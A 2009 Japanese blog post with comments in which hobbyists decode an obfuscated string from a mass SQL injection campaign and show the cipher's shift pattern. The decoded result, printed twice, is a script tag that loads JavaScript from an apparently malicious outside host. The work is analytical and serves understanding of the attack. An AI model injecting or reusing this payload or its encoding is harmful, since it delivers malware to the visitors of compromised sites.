Hatena::ブログ(Diary)

交差点でコーヒーを

2009-01-16 難しい カチッと答えが 決まらない

[]チャレンジSQLチャレンジSQL!を含むブックマーク チャレンジSQL!のブックマークコメント

話題のSQLインジェクション文字列解読チャレンジしてみました。

はせがわさんとこにあった仮説をもとに。

最終的に

  1. 換字暗号
  2. 10文字で1ブロック
  3. 正負の両方にずれる(asciiコード的に)

までしかわからず。解答は<script src=http://s1.cawjb.com/jp.js></script>だとは思うけど、パターンにはまらない文字が2文字と正負の判定基準が謎。

追記:

上ののは、お昼休みに携帯から打った(大変だった)ので、帰ってきてからちゃんと書こうと思ったらヤマガタさんがかいてた。大胆にごそっと引用

暗号: <raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8
 ↓   |+++--+-+-|+--+--++-|-+-+--+++|++-+--+-+|++--++
 ↓   |121442419|123442417|121442419|123442419|121446 ※差
予想: <script src=http://s1.cawjb.com/jp.js></script>

暗号: <raqmtr$r{c<jwpt<+.z1/absnd*bfm.iq*nu:=&sbpjtp8 ↓ |+++--+-+-|+--+--++-|-+-+--+++|++-+--+-+|++--++ ↓ |121442419|123442417|121442419|121442419|121446 ※差 予想: <script src=http://s1.cawjb.com/kr.js></script>

※黄色くしたところが、“美しく” なくて、納得できていない部分です。(笑

糸の切れた凧

10文字で1ブロックとして変換テーブルを持ち、繰り返しらしいことはたぶんあってるのですが、気持ち悪い箇所がでてくるのです。

あと、プラス方向かマイナス方向かの基準がすぐには見えてこない。2進数で表してごにょごにょするとかかなぁ(根拠はなし)。めんどうだからやりたくないけどw

yamagata21yamagata21 2009/01/16 14:17 中国で 0121442419 に電話すると次のステージに進める!という新手の黒客リクルートかと妄想していましたw

masamasa 2009/01/16 15:47 問題の文字列で検索するとその前後に
<script src=http://s1.cawjb.com/*.js></script>が埋め込まれている例が多いのでたぶんその読みであっているのではないでしょうか

harupuharupu 2009/01/16 20:50 >やまがたさん
意外とその数字自体に意味があるかもですね!電話した結果はどうでした??

>masaさん
たぶんあっていると思うのです。だけど気持ち悪いのです。。。